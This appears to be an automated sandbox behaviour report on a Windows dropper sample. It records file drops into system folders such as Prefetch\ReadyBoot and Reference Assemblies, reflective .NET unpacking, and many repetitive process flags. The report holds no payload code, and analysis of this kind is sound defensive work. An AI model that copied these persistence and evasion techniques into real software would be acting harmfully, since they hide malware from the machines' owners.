Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: midimap.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Directory created: C:\Program Files\Reference Assemblies\Microsoft\Framework\PfjsOcNiQfAmiszo.exe			Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Directory created: C:\Program Files\Reference Assemblies\Microsoft\Framework\f6900929d627b7			Jump to behavior

Source: KyC6hVwU8Z.exe

Static file information: File size 1341440 > 1048576

Source: KyC6hVwU8Z.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: mountvol.pdb source: KyC6hVwU8Z.exe, KyC6hVwU8Z.exe, 00000006.00000002.2796508370.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 7Up9zvGH4w.exe, 0000000A.00000000.2793610313.00007FF64C404000.00000002.00000001.01000000.00000006.sdmp, 7Up9zvGH4w.exe, 0000000A.00000002.2796201070.00007FF64C404000.00000002.00000001.01000000.00000006.sdmp, 7Up9zvGH4w.exe.6.dr
Source:	Binary string: wC:/Users/user\AppData\Local\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.00000000029B4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: mountvol.pdbGCTL source: KyC6hVwU8Z.exe, 00000006.00000002.2796508370.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 7Up9zvGH4w.exe, 0000000A.00000000.2793610313.00007FF64C404000.00000002.00000001.01000000.00000006.sdmp, 7Up9zvGH4w.exe, 0000000A.00000002.2796201070.00007FF64C404000.00000002.00000001.01000000.00000006.sdmp, 7Up9zvGH4w.exe.6.dr
Source:	Binary string: }C:/Users/user\AppData\Local\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.00000000029B4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb m^ source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.00000000029B4000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: 6.2.KyC6hVwU8Z.exe.436080.3.raw.unpack, 1a2.cs	.Net Code: ghM System.Reflection.Assembly.Load(byte[])
Source: 6.2.KyC6hVwU8Z.exe.436080.3.raw.unpack, 857.cs	.Net Code: _736

Source: KyC6hVwU8Z.exe

Static PE information: section name: .back

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001D0350 push eax; ret	0_2_001D1D4D
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001F57AE push ecx; ret	0_2_001F57C1
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001D0350 push eax; ret	5_2_001D1D4D
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001F57AE push ecx; ret	5_2_001F57C1
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 6_2_00428E7D push esi; ret	6_2_00428E86
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 6_2_004076E0 push ecx; ret	6_2_004076F3
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Code function: 12_2_00007FF848F23CB9 push ebx; retf	12_2_00007FF848F23CBA
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Code function: 12_2_00007FF848F3739D push ebp; retf	12_2_00007FF848F373A8
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Code function: 12_2_00007FF848F37BAC push eax; ret	12_2_00007FF848F37BAD
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Code function: 12_2_00007FF849100878 push esp; retf	12_2_00007FF849100879
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Code function: 18_2_00007FF848F4739D push ebp; retf	18_2_00007FF848F473A8
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Code function: 18_2_00007FF848F47BAC push eax; ret	18_2_00007FF848F47BAD
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Code function: 18_2_00007FF84911AAAD push eax; retf	18_2_00007FF84911AB6D
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Code function: 18_2_00007FF849115C5D push ebx; retf	18_2_00007FF849115C8A
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Code function: 18_2_00007FF84912733D push ebp; iretd	18_2_00007FF84912733F
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Code function: 18_2_00007FF84911ABB0 push eax; retf	18_2_00007FF84911AB6D
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Code function: 18_2_00007FF849115BBD push ebx; ret	18_2_00007FF849115BCA
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Code function: 18_2_00007FF8491136C4 push eax; iretd	18_2_00007FF8491136C5

Source: KyC6hVwU8Z.exe

Static PE information: section name: .text entropy: 7.0802944473385505

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System32\cmd.exe

Executable created and started: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Jump to behavior

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	File created: C:\Users\user\AppData\Roaming\7Up9zvGH4w.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File created: C:\Program Files\Reference Assemblies\Microsoft\Framework\PfjsOcNiQfAmiszo.exe	Jump to dropped file
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File created: C:\Users\user\Desktop\oUNDhiUw.log	Jump to dropped file
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File created: C:\Users\user\Desktop\dFZxqctW.log	Jump to dropped file
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	File created: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File created: C:\Windows\Resources\Ease of Access Themes\PfjsOcNiQfAmiszo.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File created: C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File created: C:\Program Files (x86)\Windows NT\Accessories\en-US\PfjsOcNiQfAmiszo.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File created: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File created: C:\Users\user\Desktop\yTUtFuTG.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File created: C:\Users\user\Desktop\luKnOVOf.log	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File created: C:\Windows\Resources\Ease of Access Themes\PfjsOcNiQfAmiszo.exe			Jump to dropped file
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File created: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File created: C:\Users\user\Desktop\yTUtFuTG.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File created: C:\Users\user\Desktop\luKnOVOf.log	Jump to dropped file
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File created: C:\Users\user\Desktop\oUNDhiUw.log	Jump to dropped file
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File created: C:\Users\user\Desktop\dFZxqctW.log	Jump to dropped file

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe

Code function: 0_2_001F57E2 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_001F57E2

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
